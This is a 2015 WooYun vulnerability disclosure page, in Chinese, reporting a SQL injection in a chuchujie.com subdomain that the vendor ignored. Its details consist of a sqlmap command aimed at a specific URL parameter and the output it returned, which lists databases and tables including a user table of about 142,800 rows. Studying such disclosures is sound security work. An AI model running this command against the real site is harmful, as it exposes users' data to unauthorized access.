当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0109424

漏洞标题：楚楚街SQL注入一枚

相关厂商：chuchujie.com

漏洞作者： 爱上平顶山

提交时间：2015-05-13 19:24

修复时间：2015-05-18 19:26

公开时间：2015-05-18 19:26

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-13： 细节已通知厂商并且等待厂商处理中
2015-05-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

...貌似最近很火~

详细说明：

楚楚街

SqlMap.exe -u "http://masini.chuchujie.com/shareret.php?nid=600" -v 3 --dbms=mysql
available databases [3]:
[*] information_schema
[*] masini
[*] test
Database: masini
+--------------+---------+
| Table        | Entries |
+--------------+---------+
| tc_user      | 142800  |
| tc_tucao     | 41977   |
| tc_pics      | 9169    |
| tc_news      | 4437    |
| tc_newsclick | 4301    |
| tc_action    | 151     |
| tc_tucao_tmp | 34      |
| tmp          | 24      |
| tc_loglogin  | 18      |
| tc_from      | 9       |
| tc_admin     | 6       |
| tc_auth      | 4       |
+--------------+---------+


其实就是：http://www.10futu.com 10副图 一家的。
ok

漏洞证明：

···

修复方案：

···

版权声明：转载请注明来源 爱上平顶山@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-18 19:26

厂商回复：

漏洞Rank：2 (WooYun评价)

最新状态：

暂无